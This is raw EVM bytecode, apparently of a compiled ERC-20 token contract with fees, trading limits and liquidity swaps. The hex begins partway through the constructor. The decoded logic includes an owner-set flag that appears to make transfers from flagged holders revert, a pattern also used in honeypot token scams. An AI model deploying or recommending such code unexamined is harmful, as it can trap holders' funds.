9050919050565b5f620008498262000828565b9150620008568362000831565b9250620008857fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200073e565b905092915050565b5f620008998262000828565b9150620008a68362000828565b9250828202620008b68162000828565b91508282048414831517620008d057620008cf620006ab565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200090682620008db565b9050919050565b6200091881620008fa565b811462000923575f80fd5b50565b5f8151905062000936816200090d565b92915050565b620009478162000828565b811462000952575f80fd5b50565b5f8151905062000965816200093c565b92915050565b5f8060408385031215620009845762000983620008d7565b5b5f620009938582860162000926565b9250506020620009a68582860162000955565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000a2c57607f821691505b60208210810362000a425762000a41620009e7565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000aa67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a69565b62000ab2868362000a69565b95508019841693508086168417925050509392505050565b5f819050919050565b5f62000af362000aed62000ae78462000828565b62000aca565b62000828565b9050919050565b5f819050919050565b62000b0e8362000ad3565b62000b2662000b1d8262000afa565b84845462000a75565b825550505050565b5f90565b62000b3c62000b2e565b62000b4981848462000b03565b505050565b5b8181101562000b705762000b645f8262000b32565b60018101905062000b4f565b5050565b601f82111562000bbf5762000b898162000a48565b62000b948462000a5a565b8101602085101562000ba4578190505b62000bbc62000bb38562000a5a565b83018262000b4e565b50505b505050565b5f82821c905092915050565b5f62000be15f198460080262000bc4565b1980831691505092915050565b5f62000bfb838362000bd0565b9150826002028217905092915050565b62000c1682620009b0565b67ffffffffffffffff81111562000c325762000c31620009ba565b5b62000c3e825462000a14565b62000c4b82828562000b74565b5f60209050601f83116001811462000c81575f841562000c6c578287015190505b62000c78858262000bee565b86555062000ce7565b601f19841662000c918662000a48565b5f5b8281101562000cba5784890151825560018201915060208501945060208101905062000c93565b8683101562000cda578489015162000cd6601f89168262000bd0565b8355505b6001600288020188555050505b505050505050565b5f82825260208201905092915050565b7f45524332303a2067656e65726174696f6e20746f20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f62000d5b60258362000cef565b915062000d688262000cff565b604082019050919050565b5f6020820190508181035f83015262000d8c8162000d4d565b9050919050565b62000d9e8162000828565b82525050565b5f60208201905062000db95f83018462000d93565b92915050565b6149968062000dcd5f395ff3fe60806040526004361061023e575f3560e01c80638a8c523c1161012d578063c2b7bbb6116100aa578063f2fde38b1161006e578063f2fde38b14610866578063f52be97c1461088e578063f570d4de146108b6578063f66895a3146108de578063f887ea401461090957610245565b8063c2b7bbb614610776578063c5d32bb21461079e578063d695609b146107da578063dd62ed3e14610802578063edaa11681461083e57610245565b8063a457c2d7116100f1578063a457c2d714610684578063a8aa1b31146106c0578063a9059cbb146106ea578063a9ddeaa214610726578063aacebbe31461074e57610245565b80638a8c523c146105ca5780638cd4426d146105e05780638da5cb5b1461060857806395d89b41146106325780639e252f001461065c57610245565b80634324deae116101bb578063715018a61161017f578063715018a61461050f578063728f8eea14610525578063832c2bd2146105505780638514022d1461057857806385141a77146105a057610245565b80634324deae1461042f5780634ada218b146104575780635dbdb7e31461048157806366a88d96146104a957806370a08231146104d357610245565b8063251ef09511610202578063251ef0951461033d578063313ce56714610365578063395093511461038f5780633dddc9ea146103cb57806342b6fa111461040757610245565b806306fdde0314610249578063095ea7b3146102735780631340538f146102af57806318160ddd146102d757806323b872dd1461030157610245565b3661024557005b5f80fd5b348015610254575f80fd5b5061025d610933565b60405161026a9190613460565b60405180910390f35b34801561027e575f80fd5b506102996004803603810190610294919061351e565b6109c3565b6040516102a69190613576565b60405180910390f35b3480156102ba575f80fd5b506102d560048036038101906102d091906135b9565b6109e0565b005b3480156102e2575f80fd5b506102eb610a79565b6040516102f891906135f3565b60405180910390f35b34801561030c575f80fd5b506103276004803603810190610322919061360c565b610a82565b6040516103349190613576565b60405180910390f35b348015610348575f80fd5b50610363600480360381019061035e919061379c565b610b7d565b005b348015610370575f80fd5b50610379610c89565b60405161038691906137fe565b60405180910390f35b34801561039a575f80fd5b506103b560048036038101906103b0919061351e565b610c91565b6040516103c29190613576565b60405180910390f35b3480156103d6575f80fd5b506103f160048036038101906103ec9190613817565b610d38565b6040516103fe9190613576565b60405180910390f35b348015610412575f80fd5b5061042d60048036038101906104289190613842565b610d8a565b005b34801561043a575f80fd5b5061045560048036038101906104509190613842565b610e2e565b005b348015610462575f80fd5b5061046b610ed2565b6040516104789190613576565b60405180910390f35b34801561048c575f80fd5b506104a760048036038101906104a29190613817565b610ee5565b005b3480156104b4575f80fd5b506104bd610fb9565b6040516104ca91906135f3565b60405180910390f35b3480156104de575f80fd5b506104f960048036038101906104f49190613817565b610fbf565b60405161050691906135f3565b60405180910390f35b34801561051a575f80fd5b50610523611004565b005b348015610530575f80fd5b50610539611142565b60405161054792919061386d565b60405180910390f35b34801561055b575f80fd5b5061057660048036038101906105719190613817565b611153565b005b348015610583575f80fd5b5061059e60048036038101906105999190613894565b611226565b005b3480156105ab575f80fd5b506105b46112fa565b6040516105c191906138e1565b60405180910390f35b3480156105d5575f80fd5b506105de611300565b005b3480156105eb575f80fd5b506106066004803603810190610601919061351e565b61140b565b005b348015610613575f80fd5b5061061c61150e565b60405161062991906138e1565b60405180910390f35b34801561063d575f80fd5b50610646611536565b6040516106539190613460565b60405180910390f35b348015610667575f80fd5b50610682600480360381019061067d9190613842565b6115c6565b005b34801561068f575f80fd5b506106aa60048036038101906106a5919061351e565b611690565b6040516106b79190613576565b60405180910390f35b3480156106cb575f80fd5b506106d461177f565b6040516106e191906138e1565b60405180910390f35b3480156106f5575f80fd5b50610710600480360381019061070b919061351e565b6117a4565b60405161071d9190613576565b60405180910390f35b348015610731575f80fd5b5061074c600480360381019061074791906138fa565b6117ba565b005b348015610759575f80fd5b50610774600480360381019061076f9190613817565b6118c7565b005b348015610781575f80fd5b5061079c60048036038101906107979190613817565b611986565b005b3480156107a9575f80fd5b506107c460048036038101906107bf9190613817565b611abb565b6040516107d19190613576565b60405180910390f35b3480156107e5575f80fd5b5061080060048036038101906107fb9190613954565b611ad8565b005b34801561080d575f80fd5b5061082860048036038101906108239190613992565b611b84565b60405161083591906135f3565b60405180910390f35b348015610849575f80fd5b50610864600480360381019061085f9190613842565b611c06565b005b348015610871575f80fd5b5061088c60048036038101906108879190613817565b611cdc565b005b348015610899575f80fd5b506108b460048036038101906108af9190613954565b611dd2565b005b3480156108c1575f80fd5b506108dc60048036038101906108d7919061379c565b611e7e565b005b3480156108e9575f80fd5b506108f2611f8b565b60405161090092919061386d565b60405180910390f35b348015610914575f80fd5b5061091d611f9c565b60405161092a9190613a2b565b60405180910390f35b60606003805461094290613a71565b80601f016020809104026020016040519081016040528092919081815260200182805461096e90613a71565b80156109b95780601f10610990576101008083540402835291602001916109b9565b820191905f5260205f20905b81548152906001019060200180831161099c57829003601f168201915b5050505050905090565b5f6109d66109cf611fc1565b8484611fc8565b6001905092915050565b6109e8611fc1565b73ffffffffffffffffffffffffffffffffffffffff16610a0661218b565b73ffffffffffffffffffffffffffffffffffffffff1614610a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5390613aeb565b60405180910390fd5b80600860156101000a81548160ff02191690831515021790555050565b5f600254905090565b5f610a8e84848461219e565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610ad5611fc1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610b54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4b90613b79565b60405180910390fd5b610b7185610b60611fc1565b8584610b6c9190613bc4565b611fc8565b60019150509392505050565b610b85611fc1565b73ffffffffffffffffffffffffffffffffffffffff16610ba361218b565b73ffffffffffffffffffffffffffffffffffffffff1614610bf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf090613aeb565b60405180910390fd5b5f5b8151811015610c85575f60165f848481518110610c1b57610c1a613bf7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610c7d90613c24565b915050610bfb565b5050565b5f6009905090565b5f610d2e610c9d611fc1565b848460015f610caa611fc1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d299190613c6b565b611fc8565b6001905092915050565b5f60155f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610d92611fc1565b73ffffffffffffffffffffffffffffffffffffffff16610db061218b565b73ffffffffffffffffffffffffffffffffffffffff1614610e06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfd90613aeb565b60405180910390fd5b610e0e610c89565b600a610e1a9190613dcd565b81610e259190613e17565b600a8190555050565b610e36611fc1565b73ffffffffffffffffffffffffffffffffffffffff16610e5461218b565b73ffffffffffffffffffffffffffffffffffffffff1614610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea190613aeb565b60405180910390fd5b610eb2610c89565b600a610ebe9190613dcd565b81610ec99190613e17565b600b8190555050565b600860169054906101000a900460ff1681565b610eed611fc1565b73ffffffffffffffffffffffffffffffffffffffff16610f0b61218b565b73ffffffffffffffffffffffffffffffffffffffff1614610f61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5890613aeb565b60405180910390fd5b600160165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b600b5481565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61100c611fc1565b73ffffffffffffffffffffffffffffffffffffffff1661102a61218b565b73ffffffffffffffffffffffffffffffffffffffff1614611080576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107790613aeb565b60405180910390fd5b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6013805f0154908060010154905082565b61115b611fc1565b73ffffffffffffffffffffffffffffffffffffffff1661117961218b565b73ffffffffffffffffffffffffffffffffffffffff16146111cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c690613aeb565b60405180910390fd5b5f60165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b61122e611fc1565b73ffffffffffffffffffffffffffffffffffffffff1661124c61218b565b73ffffffffffffffffffffffffffffffffffffffff16146112a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129990613aeb565b60405180910390fd5b8060155f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b61dead81565b611308611fc1565b73ffffffffffffffffffffffffffffffffffffffff1661132661218b565b73ffffffffffffffffffffffffffffffffffffffff161461137c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137390613aeb565b60405180910390fd5b600860169054906101000a900460ff16156113cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c390613ea2565b60405180910390fd5b6001600860166101000a81548160ff0219169083151502179055506001600860156101000a81548160ff02191690831515021790555043600c81905550565b611413611fc1565b73ffffffffffffffffffffffffffffffffffffffff1661143161218b565b73ffffffffffffffffffffffffffffffffffffffff1614611487576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147e90613aeb565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6114ab61150e565b836040518363ffffffff1660e01b81526004016114c9929190613ec0565b6020604051808303815f875af11580156114e5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115099190613efb565b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461154590613a71565b80601f016020809104026020016040519081016040528092919081815260200182805461157190613a71565b80156115bc5780601f10611593576101008083540402835291602001916115bc565b820191905f5260205f20905b81548152906001019060200180831161159f57829003601f168201915b5050505050905090565b6115ce611fc1565b73ffffffffffffffffffffffffffffffffffffffff166115ec61218b565b73ffffffffffffffffffffffffffffffffffffffff1614611642576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163990613aeb565b60405180910390fd5b61164a61150e565b73ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561168c573d5f803e3d5ffd5b5050565b5f8060015f61169d611fc1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015611757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174e90613f96565b60405180910390fd5b611774611762611fc1565b85858461176f9190613bc4565b611fc8565b600191505092915050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6117b033848461219e565b6001905092915050565b6117c2611fc1565b73ffffffffffffffffffffffffffffffffffffffff166117e061218b565b73ffffffffffffffffffffffffffffffffffffffff1614611836576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182d90613aeb565b60405180910390fd5b5f5b82518110156118c2578160155f85848151811061185857611857613bf7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806118ba90613c24565b915050611838565b505050565b6118cf611fc1565b73ffffffffffffffffffffffffffffffffffffffff166118ed61218b565b73ffffffffffffffffffffffffffffffffffffffff1614611943576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193a90613aeb565b60405180910390fd5b8060105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61198e611fc1565b73ffffffffffffffffffffffffffffffffffffffff166119ac61218b565b73ffffffffffffffffffffffffffffffffffffffff1614611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f990613aeb565b60405180910390fd5b8060085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160165f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b6016602052805f5260405f205f915054906101000a900460ff1681565b611ae0611fc1565b73ffffffffffffffffffffffffffffffffffffffff16611afe61218b565b73ffffffffffffffffffffffffffffffffffffffff1614611b54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4b90613aeb565b60405180910390fd5b60405180604001604052808381526020018281525060135f820151815f0155602082015181600101559050505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b611c0e611fc1565b73ffffffffffffffffffffffffffffffffffffffff16611c2c61218b565b73ffffffffffffffffffffffffffffffffffffffff1614611c82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7990613aeb565b60405180910390fd5b600860169054906101000a900460ff1615611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990614024565b60405180910390fd5b80600d8190555050565b611ce4611fc1565b73ffffffffffffffffffffffffffffffffffffffff16611d0261218b565b73ffffffffffffffffffffffffffffffffffffffff1614611d58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4f90613aeb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611dc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbd906140b2565b60405180910390fd5b611dcf816129b6565b50565b611dda611fc1565b73ffffffffffffffffffffffffffffffffffffffff16611df861218b565b73ffffffffffffffffffffffffffffffffffffffff1614611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4590613aeb565b60405180910390fd5b60405180604001604052808381526020018281525060115f820151815f0155602082015181600101559050505050565b611e86611fc1565b73ffffffffffffffffffffffffffffffffffffffff16611ea461218b565b73ffffffffffffffffffffffffffffffffffffffff1614611efa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef190613aeb565b60405180910390fd5b5f5b8151811015611f8757600160165f848481518110611f1d57611f1c613bf7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080611f7f90613c24565b915050611efc565b5050565b6011805f0154908060010154905082565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202d90614140565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209b906141ce565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161217e91906135f3565b60405180910390a3505050565b5f80612195612a79565b90508091505090565b5f81116121e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d79061425c565b60405180910390fd5b4360095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156122c0575060165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561231557600860169054906101000a900460ff16612314576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230b906142c4565b60405180910390fd5b5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123b8575060165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156123d15750600860149054906101000a900460ff16155b1561242f57600b54816123e384610fbf565b6123ed9190613c6b565b111561242e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124259061432c565b60405180910390fd5b5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156124d3575060165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612526575060165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561253f5750600860149054906101000a900460ff16155b156125f25760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146125f157600b54816125a584610fbf565b6125af9190613c6b565b11156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e79061432c565b60405180910390fd5b5b5b5f805f6125fd6133be565b5f60165f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561269c575060165f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156126b65750600d54600c546126b39190613c6b565b43105b905060155f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156127115761271088612b1d565b5b600860149054906101000a900460ff1680612772575060165f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806127c3575060165f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156127d0575f92506128ca565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614801561282a575080155b156128705760115f01546011600101546128449190613c6b565b945084935060116040518060400160405290815f820154815260200160018201548152505091506128c9565b806128b65760135f015460136001015461288a9190613c6b565b945084935060136040518060400160405290815f820154815260200160018201548152505091506128c8565b80156128c757600e549450600e5493505b5b5b5b606484876128d89190613e17565b6128e29190614377565b9250600860159054906101000a900460ff16801561294d575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614155b1561295d5761295c8583612ba5565b5b6129738888858961296e9190613bc4565b612d3a565b5f8311156129ac575f8511156129ab575f606486886129929190613e17565b61299c9190614377565b90506129a9893083612d3a565b505b5b5050505050505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f8073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612af55760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612b18565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b612b6360095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612fad565b612ba2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b9990614417565b60405180910390fd5b50565b600860149054906101000a900460ff16612d36576001600860146101000a81548160ff0219169083151502179055505f820315612d1b575f612be630610fbf565b9050600a548110612d19576001600a541115612c0257600a5490505b5f600284612c109190613e17565b90505f81846020015184612c249190613e17565b612c2e9190614377565b90505f8184612c3d9190613bc4565b90505f479050612c4c82612fb8565b5f8147612c599190613bc4565b90505f876020015186612c6c9190613bc4565b82612c779190614377565b90505f886020015182612c8a9190613e17565b90505f811115612c9f57612c9e86826131ee565b5b5f895f0151600284612cb19190613e17565b612cbb9190613e17565b90505f811115612d1057612d0f8160105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166132c990919063ffffffff16565b5b50505050505050505b505b5f600860146101000a81548160ff0219169083151502179055505b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612da8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d9f906144a5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e0d90614533565b60405180910390fd5b612e218383836133b9565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612ea4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e9b906145c1565b60405180910390fd5b8181612eb09190613bc4565b5f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254612f3b9190613c6b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612f9f91906135f3565b60405180910390a350505050565b5f4382119050919050565b5f600267ffffffffffffffff811115612fd457612fd3613660565b5b6040519080825280602002602001820160405280156130025781602001602082028036833780820191505090505b50905030815f8151811061301957613018613bf7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156130bd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906130e191906145f3565b816001815181106130f5576130f4613bf7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061315b3060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611fc8565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016131bd95949392919061470e565b5f604051808303815f87803b1580156131d4575f80fd5b505af11580156131e6573d5f803e3d5ffd5b505050505050565b61321a3060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611fc8565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f8061dead426040518863ffffffff1660e01b815260040161328196959493929190614766565b60606040518083038185885af115801561329d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906132c291906147d9565b5050505050565b8047101561330c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161330390614873565b60405180910390fd5b5f8273ffffffffffffffffffffffffffffffffffffffff1682604051613331906148be565b5f6040518083038185875af1925050503d805f811461336b576040519150601f19603f3d011682016040523d82523d5f602084013e613370565b606091505b50509050806133b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133ab90614942565b60405180910390fd5b505050565b505050565b60405180604001604052805f81526020015f81525090565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561340d5780820151818401526020810190506133f2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f613432826133d6565b61343c81856133e0565b935061344c8185602086016133f0565b61345581613418565b840191505092915050565b5f6020820190508181035f8301526134788184613428565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6134ba82613491565b9050919050565b6134ca816134b0565b81146134d4575f80fd5b50565b5f813590506134e5816134c1565b92915050565b5f819050919050565b6134fd816134eb565b8114613507575f80fd5b50565b5f81359050613518816134f4565b92915050565b5f806040838503121561353457613533613489565b5b5f613541858286016134d7565b92505060206135528582860161350a565b9150509250929050565b5f8115159050919050565b6135708161355c565b82525050565b5f6020820190506135895f830184613567565b92915050565b6135988161355c565b81146135a2575f80fd5b50565b5f813590506135b38161358f565b92915050565b5f602082840312156135ce576135cd613489565b5b5f6135db848285016135a5565b91505092915050565b6135ed816134eb565b82525050565b5f6020820190506136065f8301846135e4565b92915050565b5f805f6060848603121561362357613622613489565b5b5f613630868287016134d7565b9350506020613641868287016134d7565b92505060406136528682870161350a565b9150509250925092565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61369682613418565b810181811067ffffffffffffffff821117156136b5576136b4613660565b5b80604052505050565b5f6136c7613480565b90506136d3828261368d565b919050565b5f67ffffffffffffffff8211156136f2576136f1613660565b5b602082029050602081019050919050565b5f80fd5b5f613719613714846136d8565b6136be565b9050808382526020820190506020840283018581111561373c5761373b613703565b5b835b81811015613765578061375188826134d7565b84526020840193505060208101905061373e565b5050509392505050565b5f82601f8301126137835761378261365c565b5b8135613793848260208601613707565b91505092915050565b5f602082840312156137b1576137b0613489565b5b5f82013567ffffffffffffffff8111156137ce576137cd61348d565b5b6137da8482850161376f565b91505092915050565b5f60ff82169050919050565b6137f8816137e3565b82525050565b5f6020820190506138115f8301846137ef565b92915050565b5f6020828403121561382c5761382b613489565b5b5f613839848285016134d7565b91505092915050565b5f6020828403121561385757613856613489565b5b5f6138648482850161350a565b91505092915050565b5f6040820190506138805f8301856135e4565b61388d60208301846135e4565b9392505050565b5f80604083850312156138aa576138a9613489565b5b5f6138b7858286016134d7565b92505060206138c8858286016135a5565b9150509250929050565b6138db816134b0565b82525050565b5f6020820190506138f45f8301846138d2565b92915050565b5f80604083850312156139105761390f613489565b5b5f83013567ffffffffffffffff81111561392d5761392c61348d565b5b6139398582860161376f565b925050602061394a858286016135a5565b9150509250929050565b